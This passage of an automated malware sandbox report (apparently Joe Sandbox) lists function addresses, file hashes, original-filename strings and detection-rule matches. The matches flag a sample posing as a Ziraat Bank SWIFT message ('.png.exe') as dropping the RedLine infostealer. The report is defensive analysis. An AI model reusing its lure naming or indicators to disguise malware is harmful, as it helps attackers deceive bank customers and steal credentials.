              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BE12010_2_063BE120
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BE11110_2_063BE111
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B3D1010_2_063B3D10
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B230010_2_063B2300
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B577810_2_063B5778
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BF37010_2_063BF370
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B275810_2_063B2758
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BD35810_2_063BD358
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B0D4810_2_063B0D48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B274810_2_063B2748
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BD34810_2_063BD348
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BE5B810_2_063BE5B8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B2BB010_2_063B2BB0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BA9B710_2_063BA9B7
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BB7B710_2_063BB7B7
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BE5A910_2_063BE5A9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B2BAD10_2_063B2BAD
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B11A010_2_063B11A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B119010_2_063B1190
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BC59010_2_063BC590
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B7B8810_2_063B7B88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B578810_2_063B5788
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BF38010_2_063BF380
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BC58010_2_063BC580
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B7B8510_2_063B7B85
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B15F810_2_063B15F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BD7F010_2_063BD7F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B2FF710_2_063B2FF7
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B15E910_2_063B15E9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B5BE010_2_063B5BE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BD7E010_2_063BD7E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B5BD010_2_063B5BD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BA9C810_2_063BA9C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063BB7C810_2_063BB7C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_063B7FCF10_2_063B7FCF
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06417A2810_2_06417A28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641036010_2_06410360
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641004010_2_06410040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641E07810_2_0641E078
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641324010_2_06413240
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06414E6010_2_06414E60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06415E0010_2_06415E00
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641162010_2_06411620
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641323010_2_06413230
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06413EC010_2_06413EC0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06415AE010_2_06415AE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06416A8010_2_06416A80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641068010_2_06410680
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064122A010_2_064122A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06414B4010_2_06414B40
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641676010_2_06416760
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641130010_2_06411300
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641770810_2_06417708
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06412F2010_2_06412F20
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064157C010_2_064157C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06410FE010_2_06410FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064173E810_2_064173E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06411F8010_2_06411F80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06413BA010_2_06413BA0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641644010_2_06416440
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06411C6010_2_06411C60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06412C0010_2_06412C00
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641481010_2_06414810
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641482010_2_06414820
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06410CC010_2_06410CC0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064170C810_2_064170C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064128E010_2_064128E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641388010_2_06413880
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064154A010_2_064154A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641194010_2_06411940
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641355010_2_06413550
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641356010_2_06413560
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641450010_2_06414500
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641991010_2_06419910
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641612010_2_06416120
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064125C010_2_064125C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064141E010_2_064141E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0641518010_2_06415180
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064109A010_2_064109A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06416DA810_2_06416DA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064244E810_2_064244E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06426BB810_2_06426BB8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642404210_2_06424042
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A04210_2_0642A042
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642004010_2_06420040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642405010_2_06424050
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A05010_2_0642A050
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642F65110_2_0642F651
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642885810_2_06428858
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642F66010_2_0642F660
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642206710_2_06422067
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642206810_2_06422068
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642886810_2_06428868
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642606910_2_06426069
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642707010_2_06427070
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642DE7510_2_0642DE75
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642327A10_2_0642327A
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642607810_2_06426078
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642DE7810_2_0642DE78
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06427A0210_2_06427A02
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642000610_2_06420006
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06424E0810_2_06424E08
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642E80810_2_0642E808
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06420E0810_2_06420E08
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06427A1010_2_06427A10
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D01610_2_0642D016
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06424E1810_2_06424E18
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D02010_2_0642D020
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642B82810_2_0642B828
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642B83810_2_0642B838
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064224C010_2_064224C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064296C010_2_064296C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642ECC010_2_0642ECC0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06427EC810_2_06427EC8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064204C910_2_064204C9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642ECD010_2_0642ECD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064204D810_2_064204D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06427ED810_2_06427ED8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064244D810_2_064244D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D4E310_2_0642D4E3
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D4E810_2_0642D4E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642BCF010_2_0642BCF0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642C68210_2_0642C682
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642708010_2_06427080
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642328810_2_06423288
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642C69010_2_0642C690
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642129110_2_06421291
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064252A210_2_064252A2
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642AEA210_2_0642AEA2
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064212A010_2_064212A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642AEA810_2_0642AEA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064252B010_2_064252B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064296B010_2_064296B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064224B110_2_064224B1
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642E34010_2_0642E340
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642574110_2_06425741
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642294A10_2_0642294A
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642574810_2_06425748
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642754810_2_06427548
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642CB4810_2_0642CB48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642295810_2_06422958
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642CB5810_2_0642CB58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642096010_2_06420960
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642B36010_2_0642B360
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642497010_2_06424970
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642B37010_2_0642B370
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642097010_2_06420970
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06429B7810_2_06429B78
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642BD0010_2_0642BD00
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642650010_2_06426500
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A50810_2_0642A508
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642371010_2_06423710
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642651010_2_06426510
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A51810_2_0642A518
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642372010_2_06423720
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06428D2110_2_06428D21
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642172810_2_06421728
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642FB2810_2_0642FB28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06428D3010_2_06428D30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642E33010_2_0642E330
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642173810_2_06421738
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642753910_2_06427539
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06421BC110_2_06421BC1
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642C1C810_2_0642C1C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06421BD010_2_06421BD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06425BD010_2_06425BD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A9D110_2_0642A9D1
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06425BE010_2_06425BE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642A9E010_2_0642A9E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06422DE010_2_06422DE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064291E810_2_064291E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06422DF010_2_06422DF0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064291F810_2_064291F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06420DF810_2_06420DF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642E7F810_2_0642E7F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642498010_2_06424980
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06429B8810_2_06429B88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642F18910_2_0642F189
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642839010_2_06428390
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642F19810_2_0642F198
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064283A010_2_064283A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06423BAA10_2_06423BAA
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06426BA910_2_06426BA9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D9AD10_2_0642D9AD
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642D9B010_2_0642D9B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06423BB810_2_06423BB8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0642C1BE10_2_0642C1BE
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06468E0810_2_06468E08
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646268810_2_06462688
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646004010_2_06460040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646C64810_2_0646C648
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646944810_2_06469448
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646F85010_2_0646F850
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646B06810_2_0646B068
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646E26810_2_0646E268
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06463A7010_2_06463A70
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646267810_2_06462678
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646F20810_2_0646F208
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646C00810_2_0646C008
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646182010_2_06461820
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646AA2810_2_0646AA28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646DC2810_2_0646DC28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646183010_2_06461830
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646943810_2_06469438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646A0C810_2_0646A0C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646D2C810_2_0646D2C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064658D010_2_064658D0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646BCE810_2_0646BCE8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646EEE810_2_0646EEE8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06461CE910_2_06461CE9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064604F810_2_064604F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06461CF810_2_06461CF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06463CF910_2_06463CF9
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06460E8810_2_06460E88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646CC8810_2_0646CC88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06469A8810_2_06469A88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_06460E9810_2_06460E98
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646B6A810_2_0646B6A8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646E8A810_2_0646E8A8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646DF4810_2_0646DF48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646AD4810_2_0646AD48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646135910_2_06461359
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646C96810_2_0646C968
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646976810_2_06469768
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646136810_2_06461368
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646FB7010_2_0646FB70
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646D90810_2_0646D908
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646050810_2_06460508
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646A70810_2_0646A708
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646C32810_2_0646C328
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646912810_2_06469128
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646F52810_2_0646F528
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646DF3810_2_0646DF38
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064621C010_2_064621C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064609C010_2_064609C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646B9C810_2_0646B9C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646EBC810_2_0646EBC8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_064609D010_2_064609D0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646A3E810_2_0646A3E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646D5E810_2_0646D5E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 10_2_0646F1F810_2_0646F1F8
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe 7799DAC5FDF78F132FA4F65DD31ABE052CB68EEB17EDA71E63A0365077C6DE15
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\Native_snake01.exe F3206DA0BBB65CBE611245A9C3CE4A6EC550A3203BE4C2F0D4766DCE1959ADD1
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: String function: 0040E1D8 appears 43 times
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: String function: 0040E1D8 appears 43 times
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: String function: 05DF3110 appears 44 times
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1750593373.0000000002BCC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTL.dll" vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1745025160.0000000000CDE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1756398252.0000000005580000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTL.dll" vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1750593373.0000000002DEB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTL.dll" vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1758472430.0000000007550000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000008.00000002.1730050821.0000000002830000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCloudServices.exe< vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000008.00000002.1730050821.0000000002830000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000008.00000002.1729741377.0000000000EE6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCloudServices.exe< vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000008.00000002.1729741377.0000000000EE6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAubriella.exe4 vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeBinary or memory string: OriginalFilenameIrgg.exeH vs Ziraat_Bankasi_Swift_Messaji.png.exe
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: 10.0.Native_snake01.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 9.2.Native_New-Nova.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
